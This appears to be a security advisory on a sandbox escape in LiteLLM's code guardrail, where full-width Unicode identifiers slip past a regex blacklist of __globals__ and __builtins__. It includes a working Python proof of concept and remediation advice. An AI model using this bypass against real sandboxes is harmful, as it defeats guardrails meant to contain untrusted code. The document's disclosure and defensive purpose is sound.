Sandbox Escape via Unicode Normalization Bypass

Summary

LiteLLM's custom code guardrail mechanism attempts to prevent access to dangerous Python functionality by matching user-supplied code against a blacklist of forbidden patterns.

However, the validator performs regular-expression checks directly against the original source code without first applying Unicode normalization. Python automatically performs Unicode normalization (NFKC) when processing identifiers, creating a mismatch between what the validator sees and what Python ultimately executes. An attacker can therefore use visually similar Unicode characters to bypass blacklist-based restrictions and access otherwise forbidden functionality, leading to a full sandbox escape.

Severity Details

Root Cause Analysis

The validation logic checks incoming code against a list of forbidden patterns:

FORBIDDEN_PATTERNS = [
    (r"__globals__", "globals access blocked"),
    (r"__builtins__", "builtins access blocked"),
]

for pattern, message in FORBIDDEN_PATTERNS:
    if re.search(pattern, code):
        raise Exception(message)

The validator assumes that the source code evaluated by Python is identical to the text inspected by the regex check. However, Python performs Unicode NFKC normalization during parsing. This means identifiers like:

__ｇｌｏｂａｌｓ__

will normalize directly to standard ASCII __globals__ during runtime, slipping past the regex filter entirely.

Vulnerability Logic

allow.__globals__

allow.__ｇｌｏｂａｌｓ__

Attack Scenario

Example Code

print(allow.__globals__)

print(allow.__ｇｌｏｂａｌｓ__)

Proof of Concept

import re

print("=== LiteLLM Unicode Sandbox Escape PoC ===\n")

FORBIDDEN_PATTERNS = [
    (
        r"__globals__",
        "globals access blocked"
    )
]

def validate(code):
    for pattern, message in FORBIDDEN_PATTERNS:
        if re.search(pattern, code):
            raise Exception(message)

# Full-width Unicode characters
payload = (
    "print("
    "allow.__ｇｌｏｂａｌｓ__"
    ")"
)

print("[+] Payload")
print(payload)

print("\n[+] Validation Phase")

try:
    validate(payload)
    print("[!] Validation PASSED")
    print("[!] Blacklist Bypass Successful")
except Exception as e:
    print(f"[-] Validation Failed: {e}")

print("\n[+] Simulated Execution")

def allow():
    return {
        "action": "allow"
    }

exec_globals = {
    "allow": allow,
    "print": print,
    "__builtins__": {},
}

try:
    exec(payload, exec_globals)
    print("\n[!] Payload Executed")
    print("[!] Sandbox Escape Demonstrated")
except Exception as e:
    print(f"\n[-] Execution Error: {e}")

print("\n[+] PoC Complete")

Remediation

To resolve this, the code must be normalized to ASCII representation before the validator checks for forbidden patterns:

import unicodedata

# Apply NFKC Unicode normalization before checking forbidden regexes
code = unicodedata.normalize("NFKC", code)
validate(code)

Additional security steps include:

• Transitioning from blacklist checking to safe AST (Abstract Syntax Tree) validation
• Rejecting non-ASCII character inputs inside critical script validators
• Isolating executing contexts in a sandbox shell or virtualization boundary